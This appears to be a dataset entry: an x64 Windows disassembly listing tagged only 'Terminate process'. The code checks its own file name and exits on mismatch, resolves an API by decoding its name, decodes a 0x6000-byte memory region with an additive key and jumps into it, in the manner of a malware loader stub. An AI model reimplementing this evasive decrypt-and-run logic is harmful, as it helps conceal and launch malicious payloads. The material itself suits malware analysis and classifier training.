Function at 0x140003f0d
Capabilities:
Terminate process

Disassembly:
sub rsp, 0xa8
lea rax, str.KERNEL32.dll
mov qword [rsp + 0x28], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x3c]
mov eax, eax
mov qword [rsp + 0x78], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0x78]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x50], rax
mov r8d, 0x104
mov rdx, qword [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, qword [rsp + 0x50]
call fcn.140003bd3
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x7c]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0
je 0x140003e0a
mov rcx, qword [rsp + 0x50]
call fcn.140003c47
mov byte [rsp + 0x24], al
movzx eax, byte [rsp + 0x24]
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
cmp eax, ecx
je 0x140003db8
movzx eax, byte [rsp + 0x24]
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx + 1]
cmp eax, ecx
je 0x140003db8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rsp + 0x50]
call fcn.140003c7f
mov dword [rsp + 0x48], eax
mov rax, qword [rsp + 0x40]
add rax, 4
mov qword [rsp + 0x40], rax
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax]
cmp dword [rsp + 0x48], eax
je 0x140003e0a
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax]
cmp dword [rsp + 0x48], eax
je 0x140003e0a
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x20], 4
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x3c], 0
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x3c]
mov eax, eax
mov qword [rsp + 0x80], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0x80]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x20], 0
jmp 0x140003e98
mov eax, dword [rsp + 0x20]
add eax, 4
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x20
jge 0x140003ec3
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x34]
movsxd rcx, dword [rsp + 0x20]
mov eax, dword [rax + rcx]
add eax, dword [rsp + 0x38]
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x68]
mov dword [rdx + rcx], eax
jmp 0x140003e8d
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140003eed
jmp 0x140004000
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x74]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x3c]
mov rax, qword [rsp + 0x28]
mov r8d, dword [rax + 0x58]
mov edx, 0x6000
mov rcx, qword [rsp + 0x30]
call qword [rsp + 0x60]
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x28]
mov eax, eax
mov rcx, qword [rsp + 0x90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 4]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x20], 8
jmp 0x140003f56
mov eax, dword [rsp + 0x20]
add eax, 4
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x6000
jge 0x140003f80
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x58]
mov eax, dword [rcx + rax]
add eax, dword [rsp + 0x38]
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x30]
mov dword [rdx + rcx], eax
jmp 0x140003f4b
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x64]
mov rcx, qword [rsp + 0x30]
mov dword [rcx + 8], eax
lea r9, [rsp + 0x3c]
mov r8d, dword [rsp + 0x3c]
mov edx, 0x6000
mov rcx, qword [rsp + 0x30]
call qword [rsp + 0x60]
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x30]
mov eax, eax
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rcx + 0xc]
add rax, rcx
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x30]
mov eax, eax
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0x30]
call qword [rsp + 0x98]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]